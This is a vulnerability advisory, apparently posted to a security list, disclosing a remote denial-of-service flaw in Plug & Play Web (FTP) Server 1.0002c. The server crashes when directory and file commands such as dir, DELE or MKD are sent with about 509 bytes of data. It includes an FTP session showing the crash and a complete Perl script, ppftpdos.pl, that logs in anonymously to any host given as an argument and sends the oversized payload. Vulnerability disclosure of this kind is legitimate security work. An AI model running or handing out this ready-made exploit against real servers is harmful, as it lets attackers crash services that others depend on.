pandpdos.txt

`Denial Of Service in Plug & Play Web (FTP) Server  
  
  
Introduction:  
========  
"The Plug and Play Web Server provides all of the tools you need to host   
your  
own website. The tools are bundled together in one comprehensive software  
package that it is incredibly easy to use and maintain."  
- Vendors Description  
[ http://www.pandpsoftware.com ]  
  
  
Details:  
=====  
Vulnerable systems: Plug & Play Web Server version 1.0002c  
  
A vulnerability has been identified in Plug & Play Web (FTP) server   
V1.0002c,  
which allows malicious users to remotely crash the server. By connecting to  
the server and issuing a command (dir, ls, delete, mkdir, DELE, RMD, MKD)  
followed by large amounts of data, the server crashes.  
  
dir [Ax509]  
  
ls [Ax509]  
  
delete [Ax509]  
  
mkdir [Ax509]  
  
DELE [Ax509]  
  
RMD [Ax509]  
  
MKD [Ax509]  
  
Example:  
--------------------  
ftp> o 127.0.0.1  
Connected to 127.0.0.1.  
220 Plug and Play Web Server V1.0  
User (127.0.0.1:(none)): anonymous  
331 Password required for anonymous  
Password:  
230 User anonymous logged in  
ftp> dir   
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
200 PORT command successful  
Connection closed by remote host.  
ftp> o 127.0.0.1  
>ftp: connect :Unknown error number  
ftp>  
--------------------  
  
  
Vendor status:  
=========  
The vendor has been informed, and they are fixing this bug.  
The updated version, when released, can be downloaded from:  
  
http://www.pandpsoftware.com/download.htm  
  
  
Exploit:  
=====  
#!/usr/bin/perl  
#  
# ppftpdos.pl - Remote denial of service against Plug & Play Web server   
V1.0002c  
#  
# A vulnerability has been identified in Plug & Play FTP server V1.0002c,   
which  
# allows malicious users to remotely crash the server. By connecting to the  
# server and issuing a command (dir, ls, delete, mkdir, DELE, RMD, MKD)  
# followed by large amounts of data, the server crashes. For more info, go   
to:  
# http://bsecurity.4t.com/advisories/pandpdos.txt  
#  
# Usage : ./ppftpdos.pl <host/ip>  
#  
# Vulnerability & code by Bahaa Naamneh  
# Contact : [email protected] - www.bsecurity.tk  
  
use Net::FTP;  
  
$host = $ARGV[0];  
  
$buffer =   
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';  
  
if("$ARGV[0]" eq "") {  
print("DOS against Plug & Play FTP Server by Bahaa Naamneh\n");  
print("[email protected] - http://www.bsecurity.tk\n");  
print("====================================================\n");  
die("Usage : ./PPftpdos <host\/ip>\n");  
} else {  
  
print("Connecting to $host...\n");  
my $ftp = Net::FTP->new($host) or die "Couldn't connect to $host\n";  
print("Connected!\n");  
  
$username = "anonymous";  
$password = "anonymous";  
  
$ftp->login($username, $password)  
or die "Could not log in.\n";  
  
$ftp->dir($buffer);  
  
$ftp->quit();  
  
print("Server crashed!\n");  
}  
  
  
Discovered by/Credit:  
==============  
Bahaa Naamneh  
[email protected]  
http://www.bsecurity.tk  
  
_________________________________________________________________  
The new MSN 8: advanced junk mail protection and 2 months FREE*   
http://join.msn.com/?page=features/junkmail  
  
`